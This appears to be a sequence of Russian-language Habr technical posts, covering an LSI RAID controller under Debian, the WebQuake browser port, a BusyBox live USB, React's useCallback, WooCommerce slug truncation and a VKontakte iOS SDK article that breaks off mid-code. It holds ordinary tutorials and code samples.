> int getBright() {
> return bright;
> }
>
> //нарисовать кубик
> void display() {
> //установить яркость
> fill(bright);
> //сохранить предыдущую матрицу преобразований
> pushMatrix();
> //переместить кубик в заданные координаты
> translate(x,y,z);
> //нарисовать
> box(boxSize);
> //вернуть предыдущую матрицу преобразований
> popMatrix();
> }
> }
>
> \* This source code was highlighted with Source Code Highlighter](http://virtser.net/blog/post/source-code-highlighter.aspx).` | https://habr.com/ru/post/79937/ | null | ru | null |
# LSI MegaRAID SAS 8208XLP в Debian
##### Предыстория
Достался мне контроллер LSI 8208XLP. А вместе с ним — задача заставить эту чудо-железку работать под Linux. Никаких встроенных RAID-функций от него не требовалось, достаточно было просто увидеть подключённые к нему диски. Далее в дело вступил бы горячо любимый мной mdadm или чуть менее любимый lvm. Казалось бы, чего проще? Поткнул контроллер, подключил диски — и вперёд. Железка довольно старая, Debian уже не первый год существует, и уж наверное имеет в комплекте нужный драйвер.
Ну, почти.
##### Проблемы
Начнём с того, что 8208XLP — это софт-рейд. То есть массив средствами имеющегося на нём BIOS собирается, но работать может только после установки драйверов. Однако, в отличие от того же softraid в чипсетах intel, где объёдинённые в массив диски без драйвера отображаются как обычные, в данном случае диски не отображаются вообще. То есть использовать его как «просто ещё 8 SATA-портов» просто так не получится. Даже для того, чтобы увидеть одиночный подключённый диск, без драйвера никак.
И тут возникает проблема №2: на официальном сайте LSI драйвера есть под Windows-системы, под Red Hat 4, 5 и SLES с 9 по 11. Более того, пакет с драйверами использует DKMS, и согласно приложенной инструкции не ставится. Вероятно, помимо бинарников собвственно DKMS, драйвера и исходников текущего ядра для сборки требуется ещё и исходник драйвера. Утверждать это не буду — это предположение основывается на копании в древних ветках различных форумах и сообщениях об ошибках при установке. В инструкции про это ни слова, переписка на эту тему с саппортом LSI всё ещё в процессе.
##### Что было сделано, но не помогло
Коротко опишу пройденный путь:
Попытка «просто поставить Debian» и увидеть диски, как я уже говорил, провалилась. Установщик дисков не видит, после установки системы на отдельный носитель они, разумеется, волшебным образом появляться отказались.
ls -la /dev/sd\* выводил ожидаемый системный хард и более ничего.
Попытка поставить CentOS 6.5 — та же история. Плюс к этому — драйвер с сайта не поставился.
Попытка заставить эту (уже проклинаемую) железку работать на SLES11 SP3 также провалилась. Загрузчик драйвер на флешке не увидел, без него дисков установщик не видит, после установки на отдельный хард — дисков нет, драйвер не ставится, та же история с DKMS и исходниками.
Единственный успешный момент — попытка установки CentOS 5.4. Её установщик скушал драйвер с флешки (megasr-13.15.1218.2009-1-rhel50-u4-all.img) и диски нашёл. Однако оставаться на столь древнем ядре желания особого не было. Одно порадовало — проблема технически решаема, устройство рабочее, решил копать дальше.
##### Что в итоге помогло
В процессе раскопок не раз встречал упоминание о волшебно собранном megasr драйвере под Debian, но годы, прошедшие с момента обсуждения, ссылка успела умереть, и в том репозитории ничего подобного мне найти уже не удалось.
В процессе наткнулся на вот этот любопытный коммент в багтрекере hwraid: [hwraid.le-vert.net/ticket/4#no2](http://hwraid.le-vert.net/ticket/4#no2)
Получается, что аналогичная карта (8208ELP) работает под драйвером mptsas, который есть в Debian. Осталось понять две вещи — «как это дело заставить работать» и «какой PCI ID у моего контроллера»?
Ответ на первый вопрос был найден в комментах вот тут: [weeclemans.livejournal.com/12086.html?thread=310](http://weeclemans.livejournal.com/12086.html?thread=310)
Фактически достаточно добавить mptsas в /etc/modules и строку вида
```
echo "0x1000 0x????" >/sys/bus/pci/drivers/mptsas/new_id
```
в /etc/rc.local
Устанавливать ОС на диски, подключённые к этому контроллеру, я не планировал изначально, так что если они определятся уже после запуска системы — этот вариант меня вполне устроит.
Теперь осталось только найти PCI ID для моей карты. К сожалению, lspci такой информации не выдал, поэтому нужные значения были взяты отсюда: [mirror.szepe.net/siv/pcidevs.txt](http://mirror.szepe.net/siv/pcidevs.txt)
Для 8208XLP подошёл вариант 0x1000 0x0055.
После перезагрузки диски, подключённые к контроллеру, корректно определились, даже их SMART доступен. | https://habr.com/ru/post/219507/ | null | ru | null |
# Как я Quake в браузере делал
2 месяца назад я выложил на GitHub первую бета-сборку [WebQuake](https://github.com/Triang3l/WebQuake) — порта первого Quake, работающего в браузере через WebGL.
В этом посте я бы хотел вам рассказать о подробностях разработки и реализации движка: как сделана графика, как работает звук, и так далее.
Как всё началось
================
Разработку WebQuake в текущем его виде я начал в сентябре 2012 года. Но идея у меня зародилась задолго до этого.
Первый раз я решил сделать что-то подобное летом 2011 года, когда я ничего не соображал в JavaScript. Тогда я делал порт «на глаз», не глядя на код Quake, и сделал только небольшой кусок меню игры. В той версии я работал с двоичными данными через строки (а в парсере чисел с плавающей запятой вообще использовал Math.pow и биты хранил в строке из символов 0 и 1). Очень хорошо, что непонимание сути работы с буферами и шейдерами в WebGL уберегло мир от такой струи блевотины.
Затем ради прямого доступа к файлам я хотел сделать WebQuake десктопным приложением. Стал выбирать между HTA и XUL. Но ни один из них не поддерживает WebGL. Поэтому от этой идеи я тоже отказался.
В итоге я перешел на чистый HTML5.
Разработка
==========
От начала до первой беты прошло 6 месяцев. Если мне не изменяет память, на создание [GWT Quake 2](http://code.google.com/p/quake2-gwt-port) у Google ушло 2 месяца, но Google делали свой порт втроём, и у них была база в виде Jake2, а я переписывал весь код вручную.
Переписывание вручную было выбрано из-за того, что так мне проще подгонять код под общий принцип работы всего движка, делать движок независимым от размера окна браузера, а некоторые области (как графика) в браузере работают совсем не так, как в оригинальном Quake.
Но у такого подхода есть и недостатки. Иногда получались опечатки, а из-за неправильного оператора мне дважды (в первый раз скользил по стенам с бешеной скоростью из-за && вместо ||, а во второй были ужасные дергания в сетевой игре из-за !== вместо ===), пришлось потратить 3 недели на перекапывание всей системы.
Из-за опечаток бета-релизы получились крайне глючными, и было понятно, что выпустил я такое слишком рано. Вообще, изначально я планировал выпустить в марте-апреле, но так как играть более-менее можно было ещё тогда, я решил выложить порт в феврале.
Подсистемы
==========
А теперь перейдем к деталям самого движка.
Графика
-------
Отрисовка графики, естественно, реализована через WebGL.
Но WebQuake портом GLQuake назвать нельзя. Практически вся графическая подсистема была переписана с нуля.
Главным отличием WebQuake от GLQuake является использование шейдеров и буферов вместо фиксированного набора функций OpenGL. В WebQuake шейдеры используются везде, для каждого типа объектов: BSP-модель, полигональная модель, игрок, спрайт, частица, небо — написан свой шейдер.
Через шейдеры были возвращены эффекты, присутствующие в DOS Quake/WinQuake, но убранные из GLQuake из-за ограничений старых версий OpenGL, например, текстуры с освещенными участками и яркий свет.
*Начало E1M1 в GLQuake. Лампочки не горят.*
*То же место в WebQuake.*
Некоторые особенности движка Quake позволили мне повысить производительность графики. Например, так как полигон может освещаться одновременно только 4 динамическими источниками света, а карты освещения черно-белые, удалось отрисовку мира векторизовать через цветовые каналы одной текстуры. Пиксельный шейдер мира в порте выглядит вот так:
```
precision mediump float;
uniform float uGamma;
uniform sampler2D tTexture;
uniform sampler2D tLightmap;
uniform sampler2D tDlight;
uniform sampler2D tLightStyle;
varying vec4 vTexCoord;
varying vec4 vLightStyle;
void main(void)
{
vec4 texture = texture2D(tTexture, vTexCoord.xy);
gl_FragColor = vec4(texture.rgb *
mix(1.0, dot(texture2D(tLightmap, vTexCoord.zw), vec4(
texture2D(tLightStyle, vec2(vLightStyle.x, 0.0)).a,
texture2D(tLightStyle, vec2(vLightStyle.y, 0.0)).a,
texture2D(tLightStyle, vec2(vLightStyle.z, 0.0)).a,
texture2D(tLightStyle, vec2(vLightStyle.w, 0.0)).a)
* 43.828125) + texture2D(tDlight, vTexCoord.zw).a, texture.a), 1.0);
gl_FragColor.r = pow(gl_FragColor.r, uGamma);
gl_FragColor.g = pow(gl_FragColor.g, uGamma);
gl_FragColor.b = pow(gl_FragColor.b, uGamma);
}
```
Как вы видите, dot здесь используется для слегка необычной для него задачи — перемножение 4 карт освещения на их текущую яркость для данного источника освещения, которая находится в текстуре 64x1 как значения от 0 до 25 или от 0.0 до 0.0980392.
Небо, ужасно заломанное в GLQuake, здесь сделано в виде приплюснутой сферы, рисующейся вокруг всего уровня через хаки с depth testing'ом, в отличие от GLQuake, который разбивает полигоны с текстурой неба на множество маленьких и искажает их странными способами, приводя к нехорошим эффектам и волнам при перемещении.
*Небо в GLQuake.*
Двухмерные изображения тоже рисуются через WebGL (через quad с длиной 1, умножающийся в вершинном шейдере). Изначально планировалось использовать для этого 2D Canvas, но при высоком разрешении FPS падало до 15.
Также, в отличие от оригинального Quake (и GWT Quake 2), WebQuake никак не зависит от размера окна браузера. Для этого также используется и так называемый Hor+vert+ FOV, о котором я [писал](http://habrahabr.ru/post/168077/) ранее на Хабрахабре.
Звук
----
Звук реализован сразу двумя способами.
По умолчанию используется Web Audio API, поддерживающий стереозвук и плавный повтор звука.
Если браузер не поддерживает Web Audio API, включается HTML5 Audio, но звук в таком случае одноканальный и повторяется с некоторой задержкой.
В ранних бета-релизах использовался только HTML5 Audio, но из-за этого вылетал Chrome сначала на Android, Linux и Mac, а затем и на Windows, поэтому была добавлена поддержка Web Audio.
Музыка тоже присутствует, но проигрывается не с диска, а из OGG-файлов на сервере через HTML5.
Сетевая игра
------------
Так как браузер не может быть сервером WebSocket, сделать listen-сервер было невозможно.
Выделенный сервер работает через Node.js и использует крупную часть кода WebQuake.
В выделенном сервере поддерживаются одновременно и WebSockets, и UDP, поэтому на серверах WebQuake можно играть через обычный клиент Quake (не QuakeWorld). Возможно, в будущем я напишу прокси для подключения к уже существующим серверам обычного Quake.
Информацию о сервере можно запросить как HTTP-запросами на тот же адрес и порт, на котором запущен сервер (данные возвращаются в формате JSON), так и уже существующими способами через UDP.
Управление
----------
Поддержка мыши на данный момент работает только в Chrome. Несмотря на то, что в Firefox pointer lock тоже есть, там он требует полноэкранного режима для самого canvas, что создает некоторые неудобства для игрока и для разработчика.
Файловая система
----------------
Доступ к файлам сделан через синхронный XMLHttpRequest.
Да, синхронный XHR — это, может быть, «не модно», но это реализуется гораздо проще, не приводя к callback hell'у, и возможно, даже приятнее для пользователя, чем видеть повсюду временные текстуры наподобие тех, что используются в GWT Quake 2.
Во время загрузки появляется (по крайней мере в Firefox) картинка «loading» посередине экрана, поэтому игрок понимает, что идет загрузка.
Записываются сохранения, настройки и демки в Local Storage. Сохранения, находящиеся в Local Storage, можно удалить кнопкой Delete в меню загрузки/сохранения.
В отличие от GWT Quake 2, WebQuake не требует конвертирования файлов и может загружать файлы прямо из .pak'ов (через HTTP 1.1 Range), а значит, присутствует полная поддержка модов.
Производительность
==================
Тестировал я WebQuake на разных устройствах и браузерах.
Что было несколько удивительно, так это то, что приемлемой производительности (не знаю, сколько FPS, но не меньше 30) можно было добиться даже на телефоне (LG Optimus L9) через бета-версию Chrome, хоть стены и черные (не знаю точную причину этого, к тому же работает динамическое освещение).
На моем предыдущем компьютере WebQuake работал на максимальных 60 FPS, в отличие от 5-10 FPS в GWT Quake 2. При разработке я неявно учел [ошибки GWT Quake 2](http://blog.j15r.com/blog/2010/04/02/Quake_II_in_HTML5_--_What_Does_This_Really_Mean), например, использовал ArrayBuffer/Typed Arrays/DataView где мог, и возможно это помогло добиться высокой скорости.
На чём были огромные тормоза, так это на старом компьютере с NVIDIA GeForce 5200 и на нетбуке Samsung N130. На ASUS Transformer Pad TF300T работает довольно гладко. | https://habr.com/ru/post/177159/ | null | ru | null |
# Создание live-usb для бэкапа/восстановления системы
Каждый раз, когда мне приходится [делать резервную копию системы](http://welinux.ru/post/762/) я искал незанятую USB флэшку, на которую заливал установочный образ ArchLinux и грузился в него. В этом способе был очень неприятный момент — мне приходилось искать незанятую **USB флэшку размером >512 MiB**, при том что под рукой всегда лежала SD карточка на 64 MB, которой для нужд бэкапа и восстановления вполне хватило бы. Но с SD карточкой была одна проблема — редкий дистрибутив мог загрузиться с нее на моем Eee PC 900. Перепробовав с дюжину различных мелких дистрибутивов, ни один из которых мне не подошел полностью, я решил сделать свою live систему.
Подготовка
----------
### Что понадобится:
* USB Флэшка или SD/MMC/CF/… карта памяти
* Рабочая Linux система, желательно с полным набором для компиляции либо с любым пакетным менеджером
* Ядро Linux, не требующее дополнительных модулей для работы
Размер носителя не играет роли — самая маленькая карта памяти, которую я смог найти была размеров в 64 мегабайта, чего с лихвой хватает для создания полноценной системы для бэкапа/восстановления.
Насчет ядра — я использую свое ядро, в котором необходимые модули вкомпилированы, а поддержка initrd отключена. Если у вас уже есть ядро, которое для работы с дисками не требует дополнительных модулей, то можете использовать его. Если такого ядра у вас нет — скачайте исходный код ядра с [kernel.org](ftp://kernel.org/) и соберите его вручную. В этой статье я не буду описывать как нужно собирать ядро.
Условимся, что устройство флэшки — /dev/sdc.
#### BusyBox
Сразу хочу сказать, что я использовал BusyBox — утилиту, заменяющую очень большой набор других утилит, пусть и с немного урезаным функционалом. Фокус ее в том, что в зависимости от того, как вы ее запустите — так она себя и будет вести. Например, если сделать символьную ссылку на busybox с именем ln, то мы получим ln. Если ссылка будет называться dd — получим dd. При весе в 1,5 мегабайта и без зависимостей — это просто чудо.
Если запустить busybox без парамтров, то вы увидите список доступных в вашей версии утилит, чьи функции может заменить busybox. Если размер вам очень важен, то можете собрать BusyBox из исходников, отключив ненужный функционал и уменьшив тем самым размер бинарного файла. Я же использовал готовый пакет из репозиториев.
### Подготовка устройства:
С помощью fdisk создайте на устройстве флэшки один раздел и сделайте его загрузочным.
`fdisk /dev/sdc`
**Сначала удалите все разделы на этом устройстве**. Скорее всего раздел только один, поэтому введите d один раз. **Затем создайте новый первичный раздел**. Нажмите **n**, *[Ввод]*, **p**, *[Ввод]*, **1**, *[Ввод]*, *[Ввод]*, *[Ввод]*. Сделайте этот раздел загрузочным — введите **a**. Чтобы записать новую таблицу разделов на устройство — нажмите **w**.
Теперь создайте новую файловую систему на первом разделе флэшки. В качестве файловой системы я выбрал Ext2 — ее поддержка давно есть везде, а журналирование в такого рода системе не имеет особого смысла. Для форматирования раздела в Ext2 выполните следующую команду:
`mke2fs -m 0 -N 2000 /dev/sdc1`
**-m 0** отключит резервирование места под корень (что бы это ни значило)
**-N 2000** обеспечит достаточное количество [inod'ов](http://ru.wikipedia.org/wiki/Inode).
Собираем систему
----------------
Смонтируйте новый раздел в отдельную директорию (например, /newroot):
`mkdir /newroot
mount /dev/sdc1 /newroot`
В каждом дистрибутиве Linux есть набор обязательных директорий. Создайте следующие директории:
`/bin
/boot
/dev
/etc
/proc
/sbin
/var`
Необязательными являются /sys, /lib, /var, /mnt, /usr и /home — можете создать их позже, если в них появится необходимость.
### /dev
Для начала заполним каталог /dev необходимыми устройствами. Таковыми являются console, kmem, mem, null, ram0 и tty1. Скопируйте их прямо из вашей рабочей системы с помощью `cp -dpR /dev/DEVICE /newroot/dev`где DEVICE — каждый из вышеперечисленных устройств. Параметры -dpR обеспечат копирование самих файлов, а не их содержимого, а также сохранит все права доступа к ним. Если вам не по душе такой способ — можете делать более трудоемким, но, возможно, более правильным путем — с помощью **ls -l** узнайте главный и меньший номера каждого из устройств и создайте их с помощью **mknod**.
Кроме вышеупомянутых обязательных устройств скопируйте также ваши устройства жестких дисков (*hd\** и *sd\**), а также с десяток терминальных устройств (*tty\**). Возможно, вам также понадобится *loop\**. Скопируйте также остальные файлы устройств по мере необходимости.
### /etc
В этом каталоге должны храниться настройки системы. Обязательными файлами здесь будут rc (в разных системах называется по-разному), inittab, fstab, passwd, group и shadow. Хотя, group, возможно и не является обязательным, но проверить это я не пытался.
После того как скопируете эти файлы в свою новую систему необходимо будет отредактировать следующие файлы:
**inittab** — его запускает /bin/init. Он определяет поведение системы при разных уровнях исполнения. Подробнее о формате записей в файле inittab вы можете прочитать в `man inittab`Однако есть очень важный момент: в отличии от стандартного inittab, версия для busybox не должна содержать поля *id* и *runlevel*. Мой примитивный inittab выглядит следующим образом:
> # /etc/inittab
>
>
>
> ::sysinit:/etc/rc
>
>
>
> # Spawn some gettys
>
> ::respawn:/sbin/getty -L 115200 tty1 vt100
>
> ::respawn:/sbin/getty -L 115200 tty2 vt100
>
> ::respawn:/sbin/getty -L 115200 tty3 vt100
>
> ::respawn:/sbin/getty -L 115200 tty4 vt100
>
>
>
> # Stuff to do when restarting the init process
>
> ::restart:/sbin/init
>
>
>
> # Stuff to do before rebooting
>
> ::ctrlaltdel:/sbin/reboot
**fstab** — здесь все как обычно. Только указываете в качестве корневой системы не ваш жесткий диск, а флэшку.
**passwd** и **shadow** — в этих файлах оставьте только запись для root. Остальные вам не понадобятся. Кроме того, возможно вы захотите изменить домашнюю директорию и оболочку командной строки по умолчанию. Обычно в качестве оболочки прописан /bin/bash или /bin/zsh, но в busybox есть только примитивный sh. Конечно, никто не мешает сделать символьную ссылку bash —> sh.
**rc** — срипт загрузки, прописанный в вашем inittab. Он может быть суперсложный и включать в себя другие rc.скрипты, однако для простых систем можно его сильно упростить (пример моего rc):
> #!/bin/sh
>
>
>
> # Uncomment next line, if you have sane rc.conf and are able to use it
>
> #/etc/rc.conf
>
>
>
> PS1=[rescue-system]:
>
> PATH=/sbin:/bin:/usr/bin
>
>
>
> /bin/mount -av
>
> /bin/hostname localhost
### /bin
В этот каталог установлен busybox. Этого можно добиться разными способами. Например, если вы собираете его вручную, то при конфигурировании добавьте параметр --prefix=/newroot. Если вы используете менеджер пакетов, то почитайте справку к нему — должна быть опция, которая позволяет указать корневую директорию для устанавливаемого пакета. Например в ArchLinux, в pacman это ключ -r:
`pacman -S busybox -r /newroot -b /var/lib/pacman`Параметр -b необходим, потому что pacman не сможет найти базу пакетов внутри /newroot.
После установки перейдите в каталог /newroot/bin. Запустите busybox и определитесь с тем, какие встроенные утилиты вам нужны, а какие — нет. Для каждой из утилит сделайте символьную ссылку на busybox с соответствующим утилите именем. Например:
> ln -s ./busybox ./cd
Обязательно сделайте ссылки с именами sh, login и mount!
### /sbin
Перейдите в эту директорию и создайте необходимые ссылки на ../bin/busybox. Вообще разделение на две директории — /bin и /sbin — в этой системе особого смысла не имеет, так как пользователь всего один, и тот root.
Обязательно сделайте ссылки с именами init, getty, poweroff, shutfown, reboot, halt!
### /boot
В этот каталог скопируйте только ваше ядро и назовите его vmlinuz.
Устанавливаем GRUB
------------------
Установка загрузчика GRUB производится командой grub-install:
`grub-install --root-directory=/newroot /dev/sdc1`
После того, как установка завершится, создайте простой файл меню GRUB (/boot/grub/menu.lst):
> title Boot rescue blob
>
> root (hd0,0)
>
> kernel /boot/vmlinuz rootdelay=6 root=/dev/sdc1 rw
В строке root, возможно, придется изменить устройство, однако на моем Eee PC 900 при выборе в BIOS загрузки с карты памяти GRUB определил ее именно так.
Кроме того, важным параметром является rootdelay — без него ядро не успевало найти устройство кардридера и я получал:
> Kernel Panic :VFS :Unable to mount root fs on /dev/sdc
Заключение
----------
Вот, собственно и все. Теперь вы можете перезагрузиться и опробовать новую систему. Конечно, с BusyBox вы вряд ли получите супер функциональную систему, однако система будет способна на многое с точки зрения обслуживания рабочей системы. Кроме того, так как этот вариант live-OS не использует сжатых образов файловой системы, то все изменения, которые вы внесете в нее останутся после перезагрузки, поэтому вы можете смело дополнять функционал скриптами прямо во время использования и не бояться потерять ваши наработки.
Конечно, здесь много еще чего можно оптимизировать, и я этим буду постепенно заниматься, однако, для базовых нужд создания резервных копий диска и их восстановления система вполне готова.
Справочные материалы:
[Документация параметров командной строки загрузки ядра](http://www.kernel.org/pub/linux/kernel/people/gregkh/lkn/lkn_pdf/ch09.pdf), [Старая инструкция по созданию загрузочных дискет Linux](http://www.tldp.org/HOWTO/Bootdisk-HOWTO/buildroot.html).
Это кросс-пост с [welinux.ru](http://welinux.ru/post/1716/) | https://habr.com/ru/post/72776/ | null | ru | null |
# Когда же нужно использовать useCallback
Все мы знаем, что с появлением React 16.8, в нашу жизнь пришли хуки. Действительно, они упрощают процесс написания кода, используя функциональные компоненты в сравнении с классами, но некоторые хуки вызывают много вопросов у разработчиком. В данной статье мы рассмотрим на примерах, когда же нужно использовать **useCallback**, а когда можно обойтись без него.
Мы знаем из [документации](https://ru.reactjs.org/docs/hooks-reference.html#usecallback), что **useCallback** возвращает мемоизированную версию коллбэка. Простыми словами возвращает одну и туже ссылку на функцию, до тех пор, пока не изменится одна из зависимостей.
```
const memoizedCallback = useCallback(
() => {
doSomething(a, b);
},
[a, b],
);
```
Давайте рассмотрим пример:
У нас имеется страница с инпутом, списком отображения элементов и кнопкой, которая добавляет в список введенный элемент. При клике на сам элемент списка, он будет удаляться. Дефолтный список возьмём из 5 элементов, который мы будем редактировать.
```
const listOfCities = ['Beijing','Tokyo','Kinshasa','Moscow','Jakarta'];
const Page = () => {
const [name, setName] = useState("");
const [list, setList] = useState(listOfCities);
const handleClick = () => {
setList([...list, name]);
setName("");
};
const handleChange = (event: React.ChangeEvent) => {
setName(event.target.value);
};
const handleRemoveClick = (item: string) => {
const filteredList = list.filter((listItem) => listItem !== item);
setList(filteredList);
};
console.log("Page render");
return (
Add
);
};
```
И компоненты отображения списка
```
export const CitiesList = ({list, onRemoveClick}) => {
console.log("List render");
return list.map((item) => {
return ;
});
};
export const City = ({city, onRemoveClick}) => {
const handleCityClick = () => onRemoveClick(city);
console.log("Element render");
return {city};
};
```
Итак, какие же есть сейчас проблемы с перформансом. Давайте запустим и посмотрим что у нас получилось, и сразу откроем консоль разработчика.
Рендер компонентов Консоль разработчикаКажется все логично, произошел рендер страницы, компонента списка и его 5 элементов.
Начинаем вводить в инпут символы и видим, что на каждый введенный символ, происходит аналогичный рендер во всех компонентах. Изменения значения инпут (state **name**), вызывает рендер во всех дочерних компонентах.
У нас есть несколько callback функции, которые теоретически можно обернуть в useCallback. Разберем их по отдельности.
* Обернув *handleClick, handleChange или handleCityClick* в **useCallback**, увы это никак не улучшит перфоманс, ведь **useCallback** это тоже функция, которая при каждом рендер, будет заново сравнивать зависимости и возвращать новую или старую ссылку на функцию.
* Обернув *handleRemoveClick* в **useCallback**, это уменьшит количество ререндеров при условии что мы обернем СitiesList в **React.memo**,подробнее о нем можно посмотреть в [документации](https://ru.reactjs.org/docs/react-api.html#reactmemo)**.**
```
const handleRemoveClick = useCallback(
(item: string) => {
const filteredList = list.filter((listItem) => listItem !== item);
setList(filteredList);
},
[list]
);
```
```
const CitiesList = React.memo(({ list, onRemoveClick }) => {
console.log("List render");
return list.map((item) => {
return ;
});
});
```
Теперь при вводе символов в инпуте, компонент СitiesList не перерендеривается. На список из 5 элементов улучшение перформанса будет не столь большим, но наглядно показывает как его можно будет улучшить в случае необходимости.
> В данном примере можно было вынести инпут с кнопкой и его state в отдельный компонент, тогда необходимость использования **useCallback** уже была бы не актуальной, поэтому не делайте оптимизаций производительности до тех пор, пока это действительно не потребуется.
>
>
**Какие из этого можно сделать вывод**
Встроенный хук **useCallback** нужная и полезная вещь, которая помогает улучшить перформанс. Но её применение не всегда актуально. Используйте его для функций, которые передаются компонентам с большими затратами памяти для отображения. Делайте оптимизацию производительности после написания и рефакторинга кода.
Надеюсь, эта статья была вам полезной. Всем пока :) | https://habr.com/ru/post/590577/ | null | ru | null |
# Ярлык слишком длинный ( больше 28 символов ). Укоротите, пожалуйста
Решил я тут с одного старого сайта ( не на WooCommerce ) перенести товары на новый сайт с WooCommerce. Набросал по-быстрому скрипт экспорта custom’ных постов в съедобный для WooCommerce CSV-формат и при первой попытке импорта тут же получил:
Всему виной конечно же длинные наименования атрибутов и лень WooCommerce разработчиков — почему нельзя было в функционале импорта предусмотреть корректную обрезку slug’ов для импортируемых атрибутов товаров?
Пошел гуглить и нашел темку: [https://ru.wordpress.org/support/topic/%D0%B4%D0%BB%D0%B8%D0%BD%D0%B0-%D0%B0%D1%82%D1%80%D0%B8%D0%B1%D1%83%D1%82%D0%B0-2](https://ru.wordpress.org/support/topic/%D0%B4%D0%BB%D0%B8%D0%BD%D0%B0-%D0%B0%D1%82%D1%80%D0%B8%D0%B1%D1%83%D1%82%D0%B0-2/) — где никакого решения не нашли, тему закрыли…
Ну что же, поискав нашел место в коде WooCommerce где происходит эта самая обработка slug’ов для загружаемых терминов таксономий ( атрибутов товаров ). Увидел hook **sanitize\_taxonomy\_name** и навесил свой фильтр:
```
add_filter( ‘sanitize_taxonomy_name’, function( $urldecode, $taxonomy ) {
$urldecode = mb_substr($urldecode, 0, 27, ‘utf-8’);
return $urldecode;
}, 10, 2 );
```
Вставляете этот код в functions.php Вашей активной темы и больше не увидите сообщение о длинных ярлыках.
p.s.: наверное всё-таки надо написать об этом в WooCommerce — много лет одна и та же пустяковая проблема, которую они никак не могут решить! также, я не увидел в коде **уникализации slug’ов атрибутов** и не проверял как это работает ( ведь в импорте могут быть похожие наименования атрибутов по первым **28 символам** slug’а ) :
```
$urldecode = wp_unique_term_slug($urldecode, $taxonomy);
``` | https://habr.com/ru/post/579670/ | null | ru | null |
# ВКонтакте iOS SDK
Добрый вечер!
Всё началось с того, что необходим был более или менее удобный инструмент для работы с API социальной сети ВКонтакте под iOS. Однако Google меня достаточно быстро расстроил результатами поиска:
* [StonewHawk — GitHub](https://github.com/StonerHawk/Vkontakte-iOS-SDK)
* [maiorov/VKAPI — GitHub](https://github.com/maiorov/VKAPI)
Вроде бы всё хорошо, самое главное есть, но вот использование не вызывает приятных ощущений.
Под катом я расскажу, как работает новая версия ВКонтакте iOS SDK, с чего всё начиналось и к чему в итоге пришли.
#### Предпроект
Началось всё с того, что на работе получили задание подключить к приложению социальные сети. Мы хотели, чтобы пользователь не заметил никакой разницы при взаимодействии с разными социальными сетями (постинг фотографии на стену, отправка сообщения, загрузка фотографий и т.п.).
Было решено поискать готовые решения, которые бы содержали в себе несколько социальных сетей вроде ВКонтакте, Одноклассники, Твиттер и Фэйсбук, но ничего не удалось найти. Использование готовых решений по отдельности не давало нужных результатов, поэтому решили писать свои велосипеды, предварительно изучив Facebook iOS SDK, MGTwitterEngine и несколько других приметных библиотек.
В итоге мы получили [ASASocialServices](https://github.com/AndrewShmig/ASASocialServices) (GitHub).
Проект получился простым в использовании и установке, большее внимание уделялось работе с Twitter и Vkontakte, на Facebook было решено не концентрироваться.
В ASASocialServices работа с тремя социальными сетями (далее речь будет идти только о двух) осуществлялась по единому принципу: программист создаёт UIWebView, позиционирует его и отображает, затем запускает процесс авторизации пользователем приложения и, в зависимости от принятого пользователем решения, вызывается один из трёх блоков-обработчиков (success, error, cancel).
Если рассматривать в контексте, то ViewController.h выглядит примерно так:
```
#import
#import "ASASocialServices.h"
@interface ViewController : UIViewController
@property UIWebView \*webView;
@property ASATwitterCommunicator \*tw;
@end
```
ViewController.m
```
#import "ViewController.h"
NSString *const kTWITTER_CONSUMER_KEY = @"v8146mdwpo05uEroMnhozg";
NSString *const kTWITTER_CONSUMER_SECRET = @"5AFkvjCKxqGBRId2fpSQFLClJLKtGcPGS1DzK7o";
@implementation ViewController
- (void)viewDidLoad
{
[super viewDidLoad];
// устанавливает WebView в нужной позиции и с нужными размерами
CGRect frame = [[UIScreen mainScreen] bounds];
_webView = [[UIWebView alloc] initWithFrame:frame];
[self.view addSubview:_webView];
// создаем TwitterCommunicator для получения токенов
_tw = [[ASATwitterCommunicator alloc]
initWithWebView:_webView];
// инициируем запрос по получению доступа к пользовательскому аккаунту
[_tw startOnCancelBlock:^{
NSLog(@"User canceled app authorization...");
} onErrorBlock:^(NSError *error) {
NSLog(@"error during app authorization...%@", error);
} onSuccessBlock:^(ASATwitterUserAccount *account) {
NSLog(@"Account: %@", account);
}];
}
@end
```
Достаточно было заменить ASATwitterCommunicator на ASAVkontakteCommunicator или ASAFacebookCommunicator, чтобы подключить и начать работать с другой социальной сетью.
В последний блок — success, происходила передача пользовательской учетной записи соответствующей сети (токен доступа, идентификатор пользователя, время истечения действия токена доступа и т.д.)
Последующие запросы от лица текущего пользователя можно было производить таким образом:
```
[account performTwitterMethod:kTWITTER_FOLLOWERS_LIST_URL
HTTPMethod:@"GET"
options:@{@"user_id" : account.twitterUserID,
@"include_entities": @"true"}
success:^(id response) {
NSLog(@"response: %@", response);
}
failure:^(NSError *error) {
NSLog(@"error: %@", error);
}];
```
Вот как выглядит обновление статуса пользователя в Twitter:
```
[account performTwitterMethod:kTWITTER_STATUSES_UPDATE_URL
HTTPMethod:@"POST"
options:@{@"status": @"Hello from ASASocialServices Framework!"}
success:^(id response) {
NSLog(@"response: %@", response);
} failure:^(NSError *error) {
NSLog(@"error: %@", error);
}];
```
Всё бы хорошо, но в ходе использование, поняли, что оставлять за программистом сохранение токена, последующую загрузку было не совсем правильно потому, что наша-то основная цель настолько упростить работу с библиотекой, чтобы не приходилось думать о мелочах вроде этой (библиотека на данном этапе умерла и её разработкой/поддержкой пришлось заниматься одному, как и всеми последующими разработками).
Минусы:
* Программисту необходимо было помнить, что токен доступа можно сохранить и использовать в последующих запросах, а не вешать запросы в success-блок
* Оставлять на программиста настройку и работу с UIWebView было тоже ошибкой
* Библиотека казалась слишком сложной и непонятной, большинству не хотелось думать о том POST или GET использовать при запросах
#### ВКонтакте iOS SDK v1.0
С ASASocialServices мне больше не хотелось возиться, поэтому решил, что начну писать в свободное время SDK для ВКонтакта. Набросал на листке схему взаимодействия классов, дня два над ней «висел», в итоге решил, что на первую версию похоже — приступил к реализации.
Я люблю Ruby и мне нравятся Rails и, почему-то всегда и до сих пор кажется, что именно они в некоторой степени повлияли на вид Вконтакте iOS SDK.
Пользователь связан с такими объектами, как:
* Группы
* Стена
* Друзья
* Аудио альбомы
* Видео альбомы
* Фотоальбомы
* Записи
* Документы
* тд
У каждого объекта есть список действий, который пользователь может осуществить от своего лица:
* Создать фотоальбом
* Вступить в группу
* Установить/изменить статус
* Получить список друзей, которые сейчас на сайте
* и тд
Вот, как приведенные выше действия будут выглядеть во ВКонтакте iOS SDK v1.0:
Создание фотоальбома:
```
VKUser *me = [VKUser currentUser];
